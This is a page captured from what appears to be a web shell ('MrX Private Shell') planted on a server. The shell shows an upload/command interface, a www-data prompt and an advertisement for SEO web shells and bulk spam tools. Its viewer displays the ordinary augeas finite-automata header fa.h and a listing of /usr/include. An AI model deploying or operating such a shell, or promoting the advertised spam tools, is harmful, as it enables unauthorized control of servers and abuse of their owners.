__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.148: ~ $
/*
 * fa.h: finite automata
 *
 * Copyright (C) 2007-2016 David Lutterkort
 *
 * This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307  USA
 *
 * Author: David Lutterkort <dlutter@redhat.com>
 */

#ifndef FA_H_
#define FA_H_

#include <stdio.h>
#include <regex.h>
#include <stdbool.h>
#include <stdint.h>

/* The type for a finite automaton. */
struct fa;

/* The type of a state of a finite automaton. The fa_state functions return
 * pointers to this struct. Those pointers are only valid as long as the
 * only fa_* functions that are called are fa_state_* functions. For
 * example, the following code will almost certainly result in a crash (or
 * worse):
 *
 *     struct state *s = fa_state_initial(fa);
 *     fa_minimize(fa);
 *     // Crashes as S will likely have been freed
 *     s = fa_state_next(s)
 */
struct state;

/* Denote some basic automata, used by fa_is_basic and fa_make_basic */
enum fa_basic {
    FA_EMPTY,        /* Accepts the empty language, i.e. no strings */
    FA_EPSILON,      /* Accepts only the empty word */
    FA_TOTAL         /* Accepts all words */
};

/* Choice of minimization algorithm to use; either Hopcroft's O(n log(n))
 * algorithm or Brzozowski's reverse-determinize-reverse-determinize
 * algorithm. While the latter has exponential complexity in theory, it
 * works quite well for some cases.
 */
enum fa_minimization_algorithms {
    FA_MIN_HOPCROFT,
    FA_MIN_BRZOZOWSKI
};

/* Which minimization algorithm to use in FA_MINIMIZE. The library
 * minimizes internally at certain points, too.
 *
 * Defaults to FA_MIN_HOPCROFT
 */
extern int fa_minimization_algorithm;

/* Unless otherwise mentioned, automata passed into routines are never
 * modified. It is the responsibility of the caller to free automata
 * returned by any of these routines when they are no longer needed.
 */

/*
 * Compile the regular expression RE of length SIZE into an automaton. The
 * return value is the same as the return value for the POSIX function
 * regcomp. The syntax for regular expressions is extended POSIX syntax,
 * with the difference that '.' does not match newlines.
 *
 * On success, FA points to the newly allocated automaton constructed for
 * RE, and the function returns REG_NOERROR. Otherwise, FA is NULL, and the
 * return value indicates the error.
 *
 * The FA is case sensitive. Call FA_NOCASE to switch it to
 * case-insensitive.
 */
int fa_compile(const char *re, size_t size, struct fa **fa);

/* Make a new automaton that accepts one of the basic languages defined in
 * the enum FA_BASIC.
 */
struct fa *fa_make_basic(unsigned int basic);

/* Return 1 if FA accepts the basic language BASIC, which must be one of
 * the constants from enum FA_BASIC.
 */
int fa_is_basic(struct fa *fa, unsigned int basic);

/* Minimize FA using the currently-set fa_minimization_algorithm.
 * As a side effect, the automaton will also be deterministic after being
 * minimized. Modifies the automaton in place.
 */
int fa_minimize(struct fa *fa);

/* Return a finite automaton that accepts the concatenation of the
 * languages for FA1 and FA2, i.e. L(FA1).L(FA2)
 */
struct fa *fa_concat(struct fa *fa1, struct fa *fa2);

/* Return a finite automaton that accepts the union of the languages that
 * FA1 and FA2 accept (the '|' operator in regular expressions).
 */
struct fa *fa_union(struct fa *fa1, struct fa *fa2);

/* Return a finite automaton that accepts the intersection of the languages
 * of FA1 and FA2.
 */
struct fa *fa_intersect(struct fa *fa1, struct fa *fa2);

/* Return a finite automaton that accepts the complement of the language of
 * FA, i.e. the set of all words not accepted by FA
 */
struct fa *fa_complement(struct fa *fa);

/* Return a finite automaton that accepts the set difference of the
 * languages of FA1 and FA2, i.e. L(FA1)\L(FA2)
 */
struct fa *fa_minus(struct fa *fa1, struct fa *fa2);

/* Return a finite automaton that accepts a repetition of the language that
 * FA accepts. If MAX == -1, the returned automaton accepts arbitrarily
 * long repetitions. MIN must be 0 or bigger, and unless MAX == -1, MIN
 * must be less or equal to MAX. If MIN is greater than 0, the returned
 * automaton accepts only words that have at least MIN repetitions of words
 * from L(FA).
 *
 * The following common regexp repetitios are achieved by the following
 * calls (using a lose notation equating automata and their languages):
 *
 * - FA* = FA_ITER(FA, 0, -1)
 * - FA+ = FA_ITER(FA, 1, -1)
 * - FA? = FA_ITER(FA, 0, 1)
 * - FA{n,m} = FA_ITER(FA, n, m) with 0 <= n and m = -1 or n <= m
 */
struct fa *fa_iter(struct fa *fa, int min, int max);

/* If successful, returns 1 if the language of FA1 is contained in the language
 * of FA2, 0 otherwise. Returns a negative number if an error occurred.
 */
int fa_contains(struct fa *fa1, struct fa *fa2);

/* If successful, returns 1 if the language of FA1 equals the language of FA2,
 * 0 otherwise. Returns a negative number if an error occurred.
 */
int fa_equals(struct fa *fa1, struct fa *fa2);

/* Free all memory used by FA */
void fa_free(struct fa *fa);

/* Print FA to OUT as a graphviz dot file */
void fa_dot(FILE *out, struct fa *fa);

/* Return a finite automaton that accepts the overlap of the languages of
 * FA1 and FA2. The overlap of two languages is the set of strings that can
 * be split in more than one way into a left part accepted by FA1 and a
 * right part accepted by FA2.
 */
struct fa *fa_overlap(struct fa *fa1, struct fa *fa2);

/* Produce an example for the language of FA. The example is not
 * necessarily the shortest possible. The implementation works very hard to
 * have printable characters (preferably alphanumeric) in the example, and
 * to avoid just an empty word.
 *
 * *EXAMPLE will be the example, which may be NULL. If it is non-NULL,
 *  EXAMPLE_LEN will hold the length of the example.
 *
 * Return 0 on success, and a negative numer on error. On error, *EXAMPLE
 * will be NULL.
 *
 * If *EXAMPLE is set, it is the caller's responsibility to free the string
 * by calling free().
 */
int fa_example(struct fa *fa, char **example, size_t *example_len);

/* Produce an example of an ambiguous word for the concatenation of the
 * languages of FA1 and FA2. The return value is such a word (which must be
 * freed by the caller) if it exists. If none exists, NULL is returned.
 *
 * The returned word is of the form UPV and PV and V are set to the first
 * character of P and V in the returned word. The word UPV has the property
 * that U and UP are accepted by FA1 and that PV and V are accepted by FA2.
 *
 * Neither the language of FA1 or of FA2 may contain words with the
 * characters '\001' and '\002', as they are used during construction of
 * the ambiguous word.
 *
 * UPV_LEN will be set to the length of the entire string UPV
 *
 * Returns 0 on success, and a negative number on failure. On failure, UPV,
 * PV, and V will be NULL
 */
int fa_ambig_example(struct fa *fa1, struct fa *fa2,
                     char **upv, size_t *upv_len,
                     char **pv, char **v);

/* Convert the finite automaton FA into a regular expression and set REGEXP
 * to point to that. When REGEXP is compiled into another automaton, it is
 * guaranteed that that automaton and FA accept the same language.
 *
 * The code tries to be semi-clever about keeping the generated regular
 * expression short; to guarantee reasonably short regexps, the automaton
 * should be minimized before passing it to this routine.
 *
 * On success, REGEXP_LEN is set to the length of REGEXP
 *
 * Return 0 on success, and a negative number on failure. The only reason
 * for FA_AS_REGEXP to fail is running out of memory.
 */
int fa_as_regexp(struct fa *fa, char **regexp, size_t *regexp_len);

/* Given the regular expression REGEXP construct a new regular expression
 * NEWREGEXP that does not match strings containing any of the characters
 * in the range FROM to TO, with the endpoints included.
 *
 * The new regular expression is constructed by removing the range FROM to
 * TO from all character sets in REGEXP; if any of the characters [FROM,
 * TO] appear outside a character set in REGEXP, return -2.
 *
 * Return 0 if NEWREGEXP was constructed successfully, -1 if an internal
 * error happened (e.g., an allocation failed) and -2 if NEWREGEXP can not
 * be constructed because any character in the range [FROM, TO] appears
 * outside of a character set.
 *
 * Return a positive value if REGEXP is not syntactically valid; the value
 * returned is one of the REG_ERRCODE_T POSIX error codes. Return 0 on
 * success and -1 if an allocation fails.
 */
int fa_restrict_alphabet(const char *regexp, size_t regexp_len,
                         char **newregexp, size_t *newregexp_len,
                         char from, char to);

/* Convert REGEXP into one that does not use ranges inside character
 * classes.
 *
 * Return a positive value if REGEXP is not syntactically valid; the value
 * returned is one of the REG_ERRCODE_T POSIX error codes. Return 0 on
 * success and -1 if an allocation fails.
 */
int fa_expand_char_ranges(const char *regexp, size_t regexp_len,
                          char **newregexp, size_t *newregexp_len);

/* Modify FA so that it matches ignoring case.
 *
 * Returns 0 on success, and -1 if an allocation fails. On failure, the
 * automaton is not guaranteed to represent anything sensible.
 */
int fa_nocase(struct fa *fa);

/* Return 1 if FA matches ignoring case, 0 if matches are case sensitive */
int fa_is_nocase(struct fa *fa);

/* Assume REGEXP is a case-insensitive regular expression, and convert it
 * to one that matches the same strings when used case sensitively. All
 * occurrences of individual letters c in the regular expression will be
 * replaced by character sets [cC], and lower/upper case characters are
 * added to character sets as needed.
 *
 * Return a positive value if REGEXP is not syntactically valid; the value
 * returned is one of the REG_ERRCODE_T POSIX error codes. Return 0 on
 * success and -1 if an allocation fails.
 */
int fa_expand_nocase(const char *regexp, size_t regexp_len,
                     char **newregexp, size_t *newregexp_len);

/* Generate up to LIMIT words from the language of FA, which is assumed to
 * be finite. The words are returned in WORDS, which is allocated by this
 * function and must be freed by the caller.
 *
 * If FA accepts the empty word, the empty string will be included in
 * WORDS.
 *
 * Return the number of generated words on success, -1 if we run out of
 * memory, and -2 if FA has more than LIMIT words.
 */
int fa_enumerate(struct fa *fa, int limit, char ***words);

/* Print FA to OUT as a JSON file. State 0 is always the initial one.
 * Returns 0 on success, and -1 on failure.
 */
int fa_json(FILE *out, struct fa *fa);

/* Returns true if the FA is deterministic and 0 otherwise */
bool fa_is_deterministic(struct fa *fa);

/* Return the initial state */
struct state *fa_state_initial(struct fa *fa);

/* Return true if this is an accepting state */
bool fa_state_is_accepting(struct state *st);

/* Return the next state; return NULL if there are no more states */
struct state* fa_state_next(struct state *st);

/* Return the number of transitions for a state */
size_t fa_state_num_trans(struct state *st);

/* Produce details about the i-th transition.
 *
 * On success, *to points to the destination state of the transition and
 * the interval [min-max] is the label of the transition.
 *
 * On failure, *to, min and max are not modified.
 *
 * Return 0 on success and -1 when I is larger than the number of
 * transitions of ST.
 */
int fa_state_trans(struct state *st, size_t i,
                   struct state **to, unsigned char *min, unsigned char *max);

#endif


/*
 * Local variables:
 *  indent-tabs-mode: nil
 *  c-indent-level: 4
 *  c-basic-offset: 4
 *  tab-width: 4
 * End:
 */

Filemanager

Name Type Size Permission Actions
EGL Folder 0755
GL Folder 0755
GLES Folder 0755
GLES2 Folder 0755
GLES3 Folder 0755
IMUDrivers Folder 0755
KHR Folder 0755
X11 Folder 0755
aarch64-linux-gnu Folder 0755
arm-linux-gnueabihf Folder 0755
arpa Folder 0755
asm-generic Folder 0755
boost Folder 0755
c++ Folder 0755
drm Folder 0755
finclude Folder 0755
gdb Folder 0755
geany Folder 0755
glvnd Folder 0755
iproute2 Folder 0755
libpng Folder 0755
libpng16 Folder 0755
libspreadsheet-1.12 Folder 0755
libxml2 Folder 0755
linux Folder 0755
lxappearance Folder 0755
lzma Folder 0755
misc Folder 0755
mtd Folder 0755
ncursesw Folder 0755
net Folder 0755
netash Folder 0755
netatalk Folder 0755
netax25 Folder 0755
neteconet Folder 0755
netinet Folder 0755
netipx Folder 0755
netiucv Folder 0755
netpacket Folder 0755
netrom Folder 0755
netrose Folder 0755
nfs Folder 0755
oneapi Folder 0755
php Folder 0755
protocols Folder 0755
python3.11 Folder 0755
python3.11m Folder 0755
rdma Folder 0755
readline Folder 0755
regulator Folder 0755
rpc Folder 0755
rpcsvc Folder 0755
scsi Folder 0755
selinux Folder 0755
sepol Folder 0755
sound Folder 0755
stan Folder 0755
tbb Folder 0755
tirpc Folder 0755
unicode Folder 0755
video Folder 0755
xcb Folder 0755
xen Folder 0755
RTFusion.h File 4.62 KB 0644
RTFusionKalman4.h File 3.39 KB 0644
RTFusionRTQF.h File 2.17 KB 0644
RTIMUAccelCal.h File 2.95 KB 0644
RTIMUCalDefs.h File 2.91 KB 0644
RTIMUHal.h File 4.31 KB 0644
RTIMULib.h File 1.88 KB 0644
RTIMULibDefs.h File 2.43 KB 0644
RTIMUMagCal.h File 4.02 KB 0644
RTIMUSettings.h File 17.23 KB 0644
RTMath.h File 6.74 KB 0644
aio.h File 7.56 KB 0644
aliases.h File 1.98 KB 0644
alloca.h File 1.17 KB 0644
ar.h File 1.69 KB 0644
argp.h File 24.95 KB 0644
argz.h File 5.91 KB 0644
assert.h File 4.53 KB 0644
augeas.h File 23.12 KB 0644
byteswap.h File 1.42 KB 0644
bzlib.h File 6.09 KB 0644
cifsidmap.h File 6 KB 0644
complex.h File 7.95 KB 0644
cpio.h File 2.21 KB 0644
crypt.h File 10.87 KB 0644
ctype.h File 10.71 KB 0644
curses.h File 97.89 KB 0644
cursesapp.h File 7.06 KB 0644
cursesf.h File 27.55 KB 0644
cursesm.h File 19.49 KB 0644
cursesp.h File 8.6 KB 0644
cursesw.h File 49.21 KB 0644
cursslk.h File 7.15 KB 0644
dirent.h File 12.32 KB 0644
dlfcn.h File 8.38 KB 0644
elf.h File 180.32 KB 0644
endian.h File 2.25 KB 0644
envz.h File 2.8 KB 0644
err.h File 2.29 KB 0644
errno.h File 1.64 KB 0644
error.h File 2.36 KB 0644
eti.h File 2.9 KB 0644
etip.h File 9.89 KB 0644
execinfo.h File 1.49 KB 0644
expat.h File 42.75 KB 0644
expat_external.h File 5.89 KB 0644
fa.h File 12.26 KB 0644
fcntl.h File 9.89 KB 0644
features-time64.h File 1.38 KB 0644
features.h File 17.62 KB 0644
fenv.h File 5.65 KB 0644
fmtmsg.h File 3.16 KB 0644
fnmatch.h File 2.24 KB 0644
form.h File 18.46 KB 0644
fstab.h File 3.04 KB 0644
fts.h File 9.35 KB 0644
ftw.h File 6.19 KB 0644
gawkapi.h File 40.72 KB 0644
gconv.h File 4.11 KB 0644
getopt.h File 1.43 KB 0644
glob.h File 7.13 KB 0644
gnu-versions.h File 2.29 KB 0644
gnumake.h File 2.84 KB 0644
grp.h File 6.69 KB 0644
gshadow.h File 4.58 KB 0644
iconv.h File 1.87 KB 0644
ifaddrs.h File 2.77 KB 0644
inttypes.h File 8.14 KB 0644
jerror.h File 15.49 KB 0644
jmorecfg.h File 13.86 KB 0644
jpegint.h File 15.41 KB 0644
jpeglib.h File 49.1 KB 0644
langinfo.h File 17.43 KB 0644
lastlog.h File 126 B 0644
libgen.h File 1.35 KB 0644
libintl.h File 4.47 KB 0644
libliftoff_rpi.h File 3.31 KB 0644
limits.h File 5.57 KB 0644
link.h File 7.62 KB 0644
locale.h File 7.5 KB 0644
lzma.h File 9.69 KB 0644
malloc.h File 5.84 KB 0644
math.h File 49.72 KB 0644
mcheck.h File 2.38 KB 0644
memory.h File 956 B 0644
menu.h File 11.6 KB 0644
mntent.h File 3.28 KB 0644
monetary.h File 1.92 KB 0644
mqueue.h File 4.5 KB 0644
nc_tparm.h File 4.67 KB 0644
ncurses.h File 97.89 KB 0644
ncurses_dll.h File 3.95 KB 0644
netdb.h File 27.79 KB 0644
nl_types.h File 1.71 KB 0644
nss.h File 14.07 KB 0644
obstack.h File 20.81 KB 0644
panel.h File 4.41 KB 0644
paths.h File 2.91 KB 0644
pcmanfm-modules.h File 2.33 KB 0644
pcre.h File 30.96 KB 0644
pcre2.h File 46.15 KB 0644
pcre2posix.h File 7.12 KB 0644
pcre_scanner.h File 6.45 KB 0644
pcre_stringpiece.h File 6.16 KB 0644
pcrecpp.h File 26.02 KB 0644
pcrecpparg.h File 6.62 KB 0644
pcreposix.h File 5.5 KB 0644
pigpio.h File 153.88 KB 0644
pigpiod_if.h File 72.76 KB 0644
pigpiod_if2.h File 107.47 KB 0644
png.h File 139.52 KB 0644
pngconf.h File 22.27 KB 0644
pnglibconf.h File 7.42 KB 0644
poll.h File 22 B 0644
printf.h File 6.71 KB 0644
proc_service.h File 3.4 KB 0644
pthread.h File 47.24 KB 0644
pty.h File 1.53 KB 0644
pwd.h File 6.17 KB 0644
re_comp.h File 963 B 0644
regex.h File 25.3 KB 0644
regexp.h File 1.35 KB 0644
resolv.h File 12.02 KB 0644
sched.h File 4.92 KB 0644
search.h File 5.32 KB 0644
semaphore.h File 3.38 KB 0644
setjmp.h File 3.12 KB 0644
sgtty.h File 1.31 KB 0644
shadow.h File 5.5 KB 0644
signal.h File 12.73 KB 0644
spawn.h File 8.08 KB 0644
stab.h File 264 B 0644
stdc-predef.h File 2.4 KB 0644
stdint.h File 8.28 KB 0644
stdio.h File 30.79 KB 0644
stdio_ext.h File 2.73 KB 0644
stdlib.h File 35.96 KB 0644
string.h File 19 KB 0644
strings.h File 4.64 KB 0644
sudo_plugin.h File 11.67 KB 0644
syscall.h File 25 B 0644
sysexits.h File 5.11 KB 0644
syslog.h File 24 B 0644
tar.h File 3.66 KB 0644
term.h File 40.75 KB 0644
term_entry.h File 9.01 KB 0644
termcap.h File 3.39 KB 0644
termio.h File 214 B 0644
termios.h File 3.51 KB 0644
tgmath.h File 43.61 KB 0644
thread_db.h File 15.65 KB 0644
threads.h File 7.51 KB 0644
tic.h File 14.49 KB 0644
time.h File 14.74 KB 0644
ttyent.h File 2.44 KB 0644
uchar.h File 3.04 KB 0644
ucontext.h File 1.99 KB 0644
ulimit.h File 1.55 KB 0644
unctrl.h File 3.1 KB 0644
unistd.h File 43.91 KB 0644
utime.h File 1.86 KB 0644
utmp.h File 3.15 KB 0644
utmpx.h File 4 KB 0644
values.h File 1.91 KB 0644
wait.h File 22 B 0644
wchar.h File 31.39 KB 0644
wctype.h File 5.42 KB 0644
wordexp.h File 2.44 KB 0644
zconf.h File 16.2 KB 0644
zlib.h File 95.04 KB 0644
Filemanager